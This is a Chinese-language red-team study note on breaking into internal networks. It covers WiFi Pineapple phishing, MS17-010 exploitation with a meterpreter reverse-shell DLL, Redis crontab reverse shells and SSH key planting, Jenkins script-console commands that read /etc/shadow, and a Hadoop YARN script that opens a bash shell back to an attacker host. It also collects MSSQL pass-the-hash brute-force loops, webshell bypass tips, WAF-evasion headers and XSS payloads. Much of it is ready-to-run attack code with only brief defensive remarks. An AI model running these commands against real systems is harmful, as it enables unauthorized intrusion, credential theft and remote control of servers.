红队攻防学习之打点进内网

二、打点-进入内网

这一章节的内容较多,一时啃不完,部分内容粗略带过,后续有时间再单独写笔记

1、外部接入点-WiFi

无线攻击实战应用之 DNSSpoof、Evil Portal、DWall组合拳入侵(配合)

前言:主要向大家介绍 WiFi Pineapple(以下简称“菠萝”)设备的基本使用方法,以及通过菠萝中的几个模块达到中间人攻击,网站钓鱼和获得shell。文章中主要使用到DWallEvil PortalDNSMasq Spoofv三个模块

Pineapple开启与网络桥接将菠萝的按钮由off划到wifi标志,稍等片刻便会向周围发射两个无线信号。一个无线信号是菠萝的管理ap,一个是给受害者使用的开放ap。这两个ap的ssid以及管理ap的密码均可以在菠萝的web管理界面中设置

http://www.wifipi.org:8080/WiFiPineapple-用户手册-V1.3.pdf
https://shop.hak5.org/products/wifi-pineapple

参考该资料以及购买菠萝设备连接!

由于穷,买不起的原因,只能

简单总结一下利用模块解释:

Evil Portal

可以利用Evil Portal模块获取TP-LINK管理员密码,它的作用是可以使接入用户在访问任意网站时都跳转到我们事先设置好的 Landing page中。 Landing Page是设置菠萝网关的页面,此处我们重定向到公网上一台配置好钓鱼网站的vps上,也可给菠萝添加一张sd卡,直接将钓鱼网站文件放置到菠萝中

Dwall

使用DWall进行中间人攻击DWall中文名称叫”绵羊墙”,是菠萝中的一个默认安装模块,它可以嗅探已连接客户端的所有HTTP请求,如URLS、Cookies、Post Data,以及实时地显示出客户端正在浏览的图片等

DNSSpoof

此处使用到菠萝中的 DNSMasq spoc模块。它的作用是dns劫持,获取到受害客户端的域名解析控制权。我们可以在hosts中设置想要进行欺骗的域名,当用户输入该域名后,模块会欺骗用户将域名解析成设置好的IP,此处我们设置跳转到菠萝网关上

DNSSpoof模块可以尝试获取shell,可以尝试使受害者重定向到一台公网上的vps来下载木马文件,诱导受害者点击。木马文件可精心构造,比如具有欺骗性的文件名,免杀木马等。

DNS欺骗原理

DNS服务器工作原理是,存储IP地址到DNS名称映射的记录(称为资源记录)数据库,联系这些资源记录与客户端,并将这些资源记录与其他DNS服务器联系。而客户端对于每个通过互联网发送的DNS请求都包含一个独特的识别码,其目的在于辨识查询和响应,并将对应的查询和响应配对在起。这就意味着,如果我们可以拦截客户端发送的DNS请求包,做一个包含该识别码的假数据包,这样目标计算机就会根据识别码认为这个假数据包就是其需要的结果,从而接受我们发送的包。这里尝试使用nslookup查看域名解析情况,用tracert命令跟踪:无修改,dns欺骗,配置静态dns,三种情况下访问测试域名的路由情况

防护意见

  • 配置静态可靠的dns
  • 将访问的重要域名与P地址进行绑定
  • 提高安全意识,不轻易连接不可信的、开放的无线热点

2、应用系统漏洞利用

常见漏洞扫描

Nmap扫描漏洞技巧

  • auth 处理身份验证
    • broadcast 网络广播
      • brute 暴力猜解
      • default默认
    • discovery 服务发现
      • dos 拒绝服务
      • exploit漏洞利用
      • external外部扩展
      • fuzzer 模糊测试
    • intrusive 扫描可能造成不良后果
    • malware 检测后门
      • safe 扫描危害较小
      • version 版本识别
      • vuln 漏洞检测
通用参数 -vuln
nmap --script=vuln 192.168.1.105
MS17-010
nmap --script=smb-vuln-ms17-010 192.168.1.105

MS17-010


impacket框架之mssql服务器安全检测

在实际渗透测试工作中经常会遇到检测项目中mssq服务器安全性,此篇文章介绍 impack框架中 mssqlclient的使用方法。

mssqlclient与其他工具相比的优势
  1. 跨平台,python脚本编写,并且已有exe版本
  2. 命令行执行,速度快
  3. 支持使用 socks代理传输数据
  4. 支持以hash传递的方式进行账号验证
  5. 支持 windows认证模式进行mssq服务的安全检测
  6. 执行sq命令可以是交互式,也可以直接回显sq命令执行结果
win和linux环境下使用

1)在windows环境下使用windows认证模式,mssqlclient测试登陆sqlserver服务器,账号验证通过后会直接返回 sql shell

mssqlclient.exe admin/admin123@192.168.1.105 -windows-auth

2)通过 socks代理,在linux环境下使用 windows认证模式,mssqlclient测试登陆 sqlserver服务器,账号验证通过后会直接返回 sql shell

proxychains python mssqlclient.py sa/admin123@192.168.x.x -windows-auth

3)通过 socks代理,以mssql账号验证方式测试登陆mssql服务器,账号验证成功后执行mssql. txt内的sql命令

proxychains python mssqlclient.py ./sa:admin123@192.168.x.x -file mssql.txt

4)通过 socks代理,在linux环境下使用 windows认证模式,mssqlclient测试登录sqlserver服务器,账号验证成功后执行 command.txt内的sql命令

proxychains python mssqlclient.py -p 1433 admin/sa:admin123@192.168.x.x -windows-auth -file cpmmand.txt

5)在windows环境下使用windows认证模式,使用ntlm hash验证方式,mssqlclient测试登陆sqlserver服务器,账号验证成功后执行command.txt内的sql命令

mssqlclient.exe -p 1433 -hashes :"hash值" admin/sqladmin@192.168.x.x -file command.txt -windows-auth

同样也可以用于webshell环境下

批量检测

除此之外,还可以批量检测内网 SQL server服务器的账号安全性
需要准备的文件有:

  • mssqlclient.exe(必须)
  • command.txt(必须)

以下四个文件需选其一:

  • hashes.txt (需验证的 ntlm hash字符串列表)
    • username.txt (需验证的 username列表)
      • password.txt(需验证的密码字符串列表)
        • Ips.txt (需验证的p字符串列表)

举例以下几种批量检测的bat脚本内容

1)测试以 windows认证模式,使用hash传递验证,使用 mssqlclient批量测试登陆 sqlserver服务器,Ips.txt 内容为待检测sqlserver服务ip,每行一条

FOR /F %%i in (ips.txt) do mssqlclient.exe -p 1433 -hashes :hash值 ......

2)测试以 windows认证模式,使用hash传递验证,指定主机 ntlm hash遍历验证,hashes.txt为待检测已知 ntlm hash内容,每行一条

FOR /F %%i in (hashes.txt) do mssqlclient.exe -p 1433 -hashes %%i domain/adminis.......

3)测试以 sqlserver认证模式,指定待检测主机,遍历验证 passwords.txt 内密码有效性,passwords.txt为已知密码内容,每行一条,验证成功后执行 command.txt内sql命令

FOR /F %%i in (passwords.txt) do mssqlclient.exe -p 1433 ./sa:%%i@192.168.x.x ....

4)测试以 sqlserver认证模式,指定待检测密码,遍历验证ip.txt内所有服务器,ip.txt为待检测sqlserver服务器,每行一条,验证成功后执行 command. txt内sql命令

FOR /F %%i in (ips.txt) do mssqlclient.exe -p 1433 ./sa:password123@%%1i -file ......

这四种命令补全查看前面的讲解即可,或者查看参考资料

参考资料:

MS17010py脚本利用

前言

为什么要介绍用py脚本,因为有些机器存在漏洞,但是使用MSF的模块利用失败,而使用py脚本则能成功利用

利用

在本地用虚拟机搭建了Kail 和 Windows7系统

windwos7靶机IP:192.168.1.105
kali:192.168.1.104
操作机:192.168.1.106

Kali生成木马dll

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.104 lport=4444 -f dll > 64.dll
msfconsole		进入控制台
use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.104
set lport 4444
run

生成dll文件

操作机

py下载地址:fb.py

https://github.com/misterch0c/shadowbroker/tree/master/windows

1)设置ip
2)use Eternalblue使用 Eternalblue插件
3)use doublepulsar使用 doublepulsar插件
4)最后执行dll反弹shell
操作步骤不截图了挺简单的…
成功弹回会话


未授权访问漏洞

这类问题覆盖的应用、利用方式较广,因此只举例频次较高的漏洞

Redis

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库

reds-cli

redis-cli -h 192.168.1.106 -p 6379

写入文件

redis 192.168.1.106:6379> CONFIG GET dir
1) "dir"
2) "C:\\Users\\Administrator\\Desktop\\Redis\\Redis"
redis 192.168.1.106:6379> CONFIG set dir C:/
OK
redis 192.168.1.106:6379> SET foobar "who are you? iceH"
OK
redis 192.168.1.106:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"
redis 192.168.1.106:6379> CONFIG SET dbfilename write_file.log
OK
redis 192.168.1.106:6379> save
OK
redis 192.168.1.106:6379>

redis写文件

反弹shell-Linux

127.0.0.1:6379 > set shell "\n* * * * *  bash -i >& /dev/tcp/1.1.1.1/88 0>&1\n" 
OK
127.0.0.1:6379 > config set dir /var/spool/cron/
OK
127.0.0.1:6379 > config set dbfilename root 
OK
127.0.0.1:6379 > save
[238] xx May xx:xx:xx DB saved on disk
OK

写入公钥
生成公钥:

ssh-keygen-t rsa   	一直回车即可
127.0.0.1:6379 > config set dir /root/.ssh/
OK
127.0.0.1:6379 > config set dbfilename authorized_keys
OK
127.0.0.1:6379 > set x "\n\n\nssh-rsa xxxxxx root@kali\n\n\n"
OK
127.0.0.1:6379 > save
OK

清空数据库

172.16.x.x:6379 > FLUSHALL

未授权漏洞总结

这一部分,书上不咋详细,等有时间我再单独发笔记

Redis

计划任务反弹shell

利用计划任务执行命令反弹shell

redisroot权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口

nc -lvnp 8989

然后执行命令:

redis-cli -h 192.168.x.x
192.168.x.x:6379 > set x "\n* * * * *  bash -i >& /dev/tcp/1.1.1.1/8989 0>&1\n"
192.168.x.x:6379 > config set dir /var/spool/cron/
192.168.x.x:6379 > config set dbfilename root
192.168.x.x:6379 > save

写入公钥
获取rsa

ssh-keygen -t rsa

将公钥写入foo.txt,注意内容前后要加2个换行

(echo -e "\n\n"; cat /root/ssh/id_rsa.pub; echo -e "\n\n") > foo.txt

将foo.txt放入键crackit里

cat foo.txt redis-cli -h IP -x set crackit

连接目标

redis-cli -h Ip

设置目标的redis的配置文件
设置数据库备份目录为/root/.ssh/

192.168.X.X: 6379 > config set dir /root/.ssh/

设置数据库备份文件名为authorized_keys

192.168.X.X:6379 > config set dbfilename authorized_keys

此时公钥成功写入目标机子,文件名为authorized_keys

192.168.x.x:6379 > save

利用私钥链接目标

ssh -i /root/.ssh/id_rsa root@192.168.x.x 
set x "\n\n\n

参考资料:


Jenkins

默认是8080端口未授权访问就是任意用户都能访问都能执行命令

127.0.0.1:8080/jenkins/manage
127.0.0.1:8080/jenkins/script

常用命令集合:

println "whoami".execute().text

Linux:

println ifconifg -a".execute().text
println "cat /etc/passwd".execute().text
printin"cat /etc/shadow".execute().text

Windows:

println "ipconfig /all".execute().text
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

更多可参考:

https://blog.csdn.net/zhangpeng999123/article/details/108227041


Mongodb

利用可视化工具连接默认端口:28017
推荐Robo3t 1.1 即可

python mongodb_unauth.py

coding:utf-8
mongodb未授权检测脚本
usage: python3 mongodb_unauth.py ip port
默认端口2801727017

from pymongo import MongoClient
import sys

ip = sys.argv[1] 

port = int(sys.argv[2]) 

try:
	conn = MongoClient(ip, port, socketTimeoutMS=5000)	#连接 MongoDB,延时5秒
	dbs = conn.database_names()
	print('[ok] -> {}:{} database_names : {}'.format(ip, port, dbs))
	conn.close() 
except Exception as e:
	error = e.args
	print('[-] -> {}:{} error : {}'.format(ip, port, error))
python3 mongodb_unauth.py 192.168.175.1 27017

ZooKeeper

默认端口:2181、2171

ls / 	#查看所有节点 
get /	#获取某个节点信息

脚本检测

# coding=utf-8
import socket


def get_plugin_info():
    plugin_info = {
        "name": "Zookeeper未授权访问",
        "info": "Zookeeper Unauthorized access",
        "level": "中危",
        "type": "未授权访问",
        "author": "c4bbage@qq.com",
        "url": "https://hackerone.com/reports/154369",
        "keyword": "server:Zookeeper",
        "source": 1
    }
    return plugin_info


def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        flag = "envi"
        # envi
        # dump
        # reqs
        # ruok
        # stat
        s.send(flag)
        data = s.recv(1024)
        s.close()
        if 'Environment' in data:
            return u"Zookeeper Unauthorized access"
    except:
        pass


def main():
    ip = "1.1.1.1"
    print check(ip, 2181, 2)

if __name__ == '__main__':
    main()

参考资料:


Elasticsearch

默认端口:9200

http://localhost:9200/_plugin/head/ 	web管理界面
http://localhost:9200/_cat/indices
htp:// localhost:9200/_river/_search	查看数据库敏感信息
http://localhost:9200/_nodes 			查看节点数

脚本检测:

python3 elasticsearch_unauth.py 192.168.1.4 9200

# coding:utf-8
# elasticsearch未授权检测脚本
# author:ske
# usage: python3 elasticsearch_unauth.py ip port
# 默认端口9200
# http://localhost:9200/_plugin/head/ web管理界面
# http://localhost:9200/_cat/indices
# http://localhost:9200/_river/_search 查看数据库敏感信息
# http://localhost:9200/_nodes 查看节点数据

import sys
from elasticsearch import Elasticsearch
import requests
import json

ip = sys.argv[1]
port = int(sys.argv[2]) # 9200
try:
    es = Elasticsearch("{}:{}".format(ip, port), timeout=5)  # 连接Elasticsearch,延时5秒
    es.indices.create(index='unauth_text')
    print('[+] 成功连接 :{}'.format(ip))
    print('[+] {} -> 成功创建测试节点unauth_text'.format(ip))
    es.index(index="unauth_text", doc_type="test-type", id=2, body={"text": "text"})
    print('[+] {} -> 成功往节点unauth_text插入数据'.format(ip))
    ret = es.get(index="unauth_text", doc_type="test-type", id=2)
    print('[+] {} -> 成功获取节点unauth_text数据 : {}'.format(ip, ret))
    es.indices.delete(index='unauth_text')
    print('[+] {} -> 清除测试节点unauth_text数据'.format(ip))
    print('[ok] {} -> 存在ElasticSearch未授权漏洞'.format(ip))

    print('尝试获取节点信息:↓')
    text = json.loads(requests.get(url='http://{}:{}/_nodes'.format(ip, port), timeout=5).text)
    nodes_total = text['_nodes']['total']
    nodes = list(text['nodes'].keys())
    print('[ok] {} -> [{}] : {}'.format(ip, nodes_total, nodes))

except Exception as e:
    error = e.args
    print('[-] -> {}  error : {}'.format(ip, error))

Memcache

默认端口11211

提示连接成功表示漏洞存在

telnet <target> 11211,或 nc -vv <target> 11211

Memcached端口是对外开放的,用nc或Telne可以直接登录,查看信息,增加修改都可以

参考


Hadoop

Hadoop是一个由Apache基金会所开发的分布式系统基础架构
用户可以在不了解分布式底层细节的情况下,开发分布式程序
充分利用集群的威力进行高速运算和存储
在默认情况下,Hadoop允许任意用户访问管理接口

poc:

#!/usr/bin/env python
 
import requests
 
target = 'http://127.0.0.1:8088/'
lhost = '192.168.220.137' # put your local host ip here, and listen at port 9999
 
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)
修改exploit.py中的反弹IP
python exploit.py

HDFS

NameNode	默认端口	50070 
DataNode	默认端口	50075
httpfs		默认端口	14000
journalnode	默认端口	8480

YARN (JobTracker )

ResourceManager	默认端口	8088 
Jobtracker		默认端口	50030 
TaskTracker		默认端口	50060

Hue默认端口8080

YARN(JobTracker)

master			默认端口	6001
regionserver	默认端口	60030

hive- server2默认端口1000

spark- jdbcserver默认端口10003

开启身份验证,防止未经授权用户访问


Couchdb

默认端口5984

在local.ini配置中:
bind_address = 设置为0.0.0.0则存在未授权访问

直接加端口进行访问即可
exp:

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

Ldap

使用工具ldap admin直接连接即可

防御措施:

https://www.cnblogs.com/mrhonest/p/10948657.html   --建议
https://blog.csdn.net/u011607971/article/details/86378361   --管理方法

JBOSS未授权访问

vulhub漏洞平台可以复现,启用环境位置:vulhub-jboss-cve-2017-7504

docker-compose up -d

访问8080端口无账号密码就可进入

linux-kali-exp

git clone https://github.com/joaomatosf/jexboss
cd jexboss 
python3 jexboss.py -u http://192.168.1.107:8080/

shell

执行工具会依次检测一下项目,有漏洞就会显示红色的: VULNERABLE(易受攻击的),工具就会根据找到容易受到攻击的点,进行利用

然后选择YES,就可以获得shell了


远程代码执行漏洞

Java下奇怪的命令执行

参考文章:http://www.lmxspace.com/2019/10/08/Java下奇怪的命令执行/


Shiro反序列化记录

漏洞搭建安装和复现:

Reference

Pwn a CTF Platform with Java JRMP Gadget

Apache Shiro Java反序列化漏洞分析


RMI-反序列化

参考
RM官方文档

https://xz.aliyun.com/t/4711#toc-3 —浅显易懂的JAVA反序列化入门

知识盲区,需要脑补!!!!!


JNDI注入

参考:(哎,知识盲区,加油脑补)

RPC

ldap


fastjson漏洞浅析

前言

Fastion是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JS0N Parse的性能提升到极致,是目前Java语言中最快的JSON库。 Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、We输出、 Android客户端等多种应用场景

参考链接

三个fastjson1.2…版本的poc,需要花很多时间来学习!!!


CVE-2019-11043 PHP远程代码执行复现

简介

相信大家都在满天的公众号预警里面看过很多,这里就一笔带过

2019年10月22日,国外安全研究员公开了一个PHP-FPM远程代码执行的漏洞EXP
该漏洞是 Andrew Danau在某比赛解决一道CTF题目时发现,向目标服务器URL发送%0a符号时,服务返回异常发现的漏洞

2019年9月26日,PHP官方发布漏洞通告其中指出使用 Nginx + php-fpm的服务器在部分配置下存在远程代码执行漏洞且该配置已被广泛使用,危害较大,影响较为广泛相关工具已经公开

Github地址如下:

https:/github.com/neex/phuip-fpizdam

方法很多,我会写出来…后补!!!


java webshell从入门到入狱系列1-基础篇

本系列文章纯探讨技术交流,请勿使用本文探的技术构造恶意webshel非法入侵他人网站

前言

本系列,主要从webshell基础、 webshell的bypass技术(关键字、流量层、hook点逃逸)、后渗透的webshell维权(基于容器特性的隐式webshell、内存shell等)等方面和大家交流java中webshe‖的形式

基础

java webshell种类

现在大部分中间件容器,所能支持解析的后缀,主要是jsp,jspx 两种动态脚本为主,比如 tomcat容器中,默认能支持解析的动态脚本已经默认写在配置中了

<jsp-config> 
<jsp-property-group> 
<url-pattern>*.jspx</url-pattern> 
<url-pattern>*.jsp</url-pattern>
<scripting-invalid>true</scripting-invalid> 
</jsp-property-group> 
</jsp-config>

在目前常见的 webshel的后门种类,主要分如下几类:

各种客户端的一句话 webshll (比如菜刀、冰蝎、蚁剑、c刀等常见客户端)、专门负责数据传输的webshell(与数据库进行交互)、Tune后门(基于 socks5协议的 reGeorg之类的)、小马(单纯的进行命令执行、单纯的进行文件管理/上传等功能)、大马(集成了文件管理、命令执行、数据库连接等多功能性大马)

java执行命令方式

在这节我们拿最基础的命令执行的来讨论,如何用多种方式写我们的负责命令执行的webshell

在java中,常见的能够执行命令的方式

java基础的webshell命令执行方式

使用 java runtime exec()

第一种常见的使,用 java.lang.Runtime 类进行执行系统命令,该方法也是目前市面上各种静态查杀 webshell 辅助工具首要盯着的目标,需要注意的是win 下和linux 需要区别对待,以及当使用多个命令组合使用注意坑。下面我们来看看代码。使用 Runtime类,调用exec执行命令返回一个Process对象,然后启一个 BufferedReader类,对返回的结果进行保存回显处理。执行exec的时候需要特别注意,带有|,<,> 等符号的命令需要使用如下代码的方式进行执行,要不然容易出错

讲解了webshell大部分能利用的机制:
Java 执行系统命令的方法和原理
用 ProcessBuilder 绕过检测
使用 Java 反射机制绕过检测
使用 Java 类加载机制绕过检测
获得 Class 对象的四种方法

https://cloud.tencent.com/developer/article/1180753   --利用Java反射和类加载机制绕过JSP后门检测

非常详细…

https://javasec.org/javase/   --安全门

熟悉下Java反射基础:
定义:
java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对
于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象的功能称为java语言的反射机制

java反射涉及的类:

cass类:代表类的实体,在运行的Java应用程序中表示类和接口
Field类:代表类的成员变量(类的属性)
Method类:代表类的方法
Constructor类:代表类的构造方法

Class类中常见使用的
1)获取的类中的方法
for Name(String className):根据类名返回类的对象
getName():获得类的完整路径名字

2)获取类中属性相关

getFields():获得所有公有的属性对象
getDeclaredFields():获得所有属性对象(带Declared的可以获取到私有private)

3)获得类中方法
getMethods():获得该类所有公有的方法
getDeclaredMethod( String name, Class…<?> parameterTypes):获得该类某个方法
getDeclaredMethods():获得该类所有方法

Fed类常见使用的
equals(Object obj):属性与ob相等则返回true
get(Object obj):获得obj中对应的属性值
set(Object obj, Object value):设置obj中对应属性值

Method类

invoke(object obj, Object…args) 传递 object对象及参数调用该对象对应的方法

Constructor类

newInstance(Object…initargs):根据传递的参数创建类的对象


深究XMLdecoder

Oracle关于这个 xmldecoder造成的漏洞的CVE编号分别是CVE2017-3506、CVE2017-10271、CVE2019-2725

最早关于CVE2017-3506的补丁只是根据 object标签进行了限制

而根据文章中讲解的继承关系 object替换成void即可,它们实际上是不受影响的,因此便出现了CVE-2017-10271,而针对CVE-2017-10271的补丁限定了所有具有执行的节点

但这次CVE-2019-2725主要是class标签,class标签可代替 object标签来生成对象,因此这次漏洞本质还是 xmldecoder的问题,而补丁也是针对class标签来处理的

https://blog.csdn.net/fnmsd/article/details/89889144   --fnmsd作者-XMLDecoder解析流程分析
https://www.anquanke.com/post/id/180725   ---浅谈Weblogic反序列化——XMLDecoder的绕过史

盲区,需要脑补!!!!


FastJson 反序列化学习

这篇文章总结的非常好:

http://www.lmxspace.com/2019/06/29/FastJson-反序列化学习/

Reference

fastjson-remote-code-execute-poc:
https://github.com/shengqi158/fastjson-remote-code-execute-poc

Fastjson 1.2.24反序列化漏洞分析:
https://www.freebuf.com/vuls/178012.html

Fastjson反序列化漏洞研究:
https://www.cnblogs.com/mrchang/p/6789060.html

Fastjson反序列化之TemplatesImpl调用链:
https://p0rz9.github.io/2019/05/12/Fastjson反序列化之TemplatesImpl调用链/

数据库安全思考之xml反序列化

学习文章非常详细:

https://my.oschina.net/u/4587690/blog/4452199

参考:

http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html

Webshell绕安全模式执行命令

绕过方法总结:

http://www.91ri.org/8700.html

EXP和poc:

https://github.com/yangyangwithgnu/bypass_disablefunc_via_ld_preload

Java 下的XEE漏洞

该文章讲解了java xml下大部分的XEE漏洞原因和防御:

http://www.lmxspace.com/2019/10/31/Java-XXE-总结/    --详细看看
https://xz.aliyun.com/t/3372    --有多余时间可以看看

Reference

Java XXE注入修复问题填坑实录:
https://mp.weixin.qq.com/s/bTeJYzUN9T1u-KDZON5FiQ

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会:
https://mp.weixin.qq.com/s/bTeJYzUN9T1u-KDZON5FiQ

XML_External_Entity_Prevention_Cheat_Sheet:
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#Java

一个被广泛流传的XXE漏洞错误修复方案:
https://gv7.me/articles/2019/a-widely-circulated-xxe-bug-fix/

JAVA常见的XXE漏洞写法和防御:
https://blog.spoock.com/2018/10/23/java-xxe/

Solr Velocity模板远程代码复现及利用指南

https://www.secpulse.com/archives/117281.html   --详细复现防御
https://www.cnblogs.com/bmjoker/p/11778478.html
https://govuln.com/topic/501/   --P牛解释

Solr-RCE-via-Velocity-template

http://www.lmxspace.com/2019/11/03/Solr-RCE-via-Velocity-template/

Reference

用Intellij idea搭建solr调试环境:
https://www.jianshu.com/p/4ceeb2c20002

http://lucene.apache.org/solr/guide/6_6/velocity-response-writer.html

java webshell 从入门到入狱系列2-攻防对抗之Bypass-上篇

1)java反射bypass

2)反射的进阶版,通过结合利用byte字节码+反射的方式完全无任何痕迹的反射回显命令执行马

3)java 后门-unicode编码


java webshell 从入门到入狱系列3-攻防对抗之Bypass-中篇

其他姿势载入webshell的技巧tip

JavaWeb 随机后门(远程下载文件)

Java URLClassLoader 动态加载jar包 webshell

openrasp (开源应用运行时自我保护)Bypass


java webshell 从入门到入狱系列4-攻防对抗之Bypass-下篇

各家厂商早期针对流量层查杀 webshel的原理:

https://xz.aliyun.com/t/6550

Java反序列化过程深究

https://www.sohu.com/a/357066711_257305

CVE-2017-3248
CVE-2017-3248

防护建议

可以在resolveclass和resovleproxyclass增加一些反序列化利用类的黑名单检查

Apache Slor不安全配置远程代码执行漏洞复现及jmx rmi利用分析

CVE-2019-12409

https://wemp.app/posts/008ae6ed-9eee-4fc4-911c-7c603c8b884a?utm_source=bottom-latest-posts

该文章详细讲解复现!!!


java命令执行小细节

http://www.baizhiedu.com/article/1029

学习查看知识点,广告可以忽视!!!


JDK反序列化Gadgets-7u21

https://xz.aliyun.com/t/6884

详细,真详细的文章!!

参考

https://www.freebuf.com/vuls/175754.html
https://b1ue.cn/archives/176.html
https://gist.github.com/frohoff/24af7913611f8406eaf3
https://sec.xiaomi.com/article/41
https://www.cnblogs.com/rickiyang/p/11336268.html   ---javassist使用全解析

Weblogic-T3-CVE-2019-2890-Analysis

https://xz.aliyun.com/t/6904

详细复现!!


spring-boot-actuators未授权漏洞

https://www.jianshu.com/p/3162ce30a853
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

SEMCMS2.6后台文件上传漏洞审计

https://www.cesafe.com/html/6190.html
https://www.yir6.cn/Web/347.html   --Admin/SEMCMS_Upfile.php代码分析

代码审计之lvyecms后台getshell

https://www.wenwenya.com/anquan/516051.html
https://webcache.googleusercontent.com/search?q=cache:9JJuN-bvrgwJ:https://www.secshi.com/22396.html+&cd=3&hl=zh-CN&ct=clnk&gl=hk

Log4j-Unserialize-Analysis

https://xz.aliyun.com/t/7004
https://my.oschina.net/u/4587690/blog/4452130

两篇文章内容一致!详细介绍了CVE-2019-17571、CVE-2017-5645


JAVA反序列化- FastJson组件

https://xz.aliyun.com/t/7027

非常难,内容非常多!!!加油!!!这块比较难


Spring-securiy-oauth2 (CVE-2018-1260)

https://blog.spoock.com/2018/05/13/cve-2018-1260/

文章内容复现类似,可分析查看…


WAF-bypass

bypasswaf

找真实IP,绕过CDN

云waf一般可以通过此方法绕过

识别CDN

ping www.baidu.com
dig www.baidu.com 
nslookup www.baidu.com

或者使用站长工具查看IP是否唯一等

寻找真实的IP
DNS历史解析记录
寻找DNS历史记录,找到后修改hos文件即可:

http://site.ip138.com/www.baidu.com 
https://dnsdb.io/zh-cn/ 
https://x.threatbook.cn/ 
http://toolbar.netcraft.com/site_report?url= 
https://censys.io/ipv4?q=www.baidu.com 
http://viewdns.info/
https://community.riskiq.com/home 
https://securitytrails.com/list/apex_domain/jgbz.baidu.com

RSS邮箱订阅,查看邮件源码
一般也会得到真实的IP地址,通过rss订阅的方式,可以查找到订阅的消息中真实IP
或者在原始信息-头信息中(unknown[xx.xx.xx.xxIP])信息

服务器向外请求(DNSLOG)

https://www.cnblogs.com/Xy--1/p/12896599.html

同网段子域名信息
DNS服务器域名信息:

google Public DNS(8.8.8.88.8.4.4)
OpenDNS(208.67.222.222208.67.220.220)
OpenDNS Family(208.67.222.123208.67.220.123)
Dyn DNS(216.146.35.35216.146.36.36)
Comodo Secure(8.26.56.268.20.247.20)
UltraDNS(156.154.70.1156.154.71.1)
Norton ConnectSafe(199.85.126.10199.85.127.10

https降级绕过

可能https有waf,http没有


ssl问题绕过

所以选用一个WAF不支持但是服务器支持的算法,选用TLSv1 256 bits ECDHE-RSA-AES256-SHA。就可以是WAF无法识别导致绕过

curl --ciphers ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test

bypasswaf
WAF支持的算法如下:
SSLv3

SSL_RSA_WITH_NULL_MD5
SSL_RSA_WITH_NULL_SHA
SSL_RSA_WITH_RC4_128_MD5
SSL_RSA_WITH_RC4_128_SHA
SSL_RSA_WITH_DES_CBC_SHA
SSL_RSA_WITH_3DES_EDE_CBC_SHA
SSL_RSA_EXPORT_WITH_RC4_40_MD5
SSL_RSA_EXPORT_WITH_DES40_CBC_SHA

TLS/1.0-1.2

TLS_RSA_WITH_NULL_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_256_CBC_SHA
TLS_RSA_EXPORT1024_WITH_RC4_56_MD5
TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_256_CBC_SHA256
TLS_RSA_WITH_RC4_128_MD5 = { 0x000x04 }
TLS_RSA_WITH_RC4_128_SHA = { 0x000x05 }
TLS_RSA_WITH_DES_CBC_SHA = { 0x000x09 }

参考文章:

http://xdxd.love/2018/09/10/利用SSL问题绕过WAF文章分析/

method 绕过

1)改变method,get改post,post 改上传(还有cookies传值)
2)改变method为不规则,比如改get,post为HELLLOXX等(某些apache版本)

GET/xxx/?id=1+and+sleep(3) HTTP/1.1
DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1

Heard IP 绕过(一般应用拦截,非WAF)

X-forwarded-for:127.0.0.1 
X-remote-IP:127.0.0.1 
X-originating-IP:127.0.0.1 
x-remote-addr:127.0.0.1
x-client-ip:127.0.0.1

Heard content-type 绕过

content-type为空 
content-type改成其他的 
content-type必须指定唯一一个类型,例如 application/ octet-stream(比如安全狗)
content-type改成不规则的text/htm1xxxxxx
Content-Type:multipart/form-data ; boundary=0000 
Content-Type:mUltiPart/ForM-dATa;boundary=0000 
Content-Type:multipart/form-datax;boundary=0000 
Content-Type:multipart/form-data,boundary=0000 
Content-Type:multipart/form-data boundary=0000 
content-Type:multipart/whatever;boundary=0000
content-Type:multipart/; boundary=0000
content-Type: application/octet-stream;

XSS

基础常用的常规语句

?id=alert(document['cookie']) 
?id=";location=location.hash)//#0={};alert(0) 
?id=%";eval(unescape(location))//#%0Aalert(0) 
?id=<script<{alert(1)}/></script> 
?id=<img src=x:alert(alt) onerror=eval(src) alt=0>
?id=%3cscript%3ealert(1)%3c%2fscript%3c 
?id=<a href="javas&#99;ript&#35;alert(1);">
id=%253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2531%2529%253c%252f%2573%2563%2572%2569%2570%2574%253e
?id=<object+data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
?id=1234&"><script>alert(1)</script>=1234     #参数名

直接在文件名例如asp、php后加即可绕过
参考文章:

https://www.cnblogs.com/lcamry/articles/5622244.html

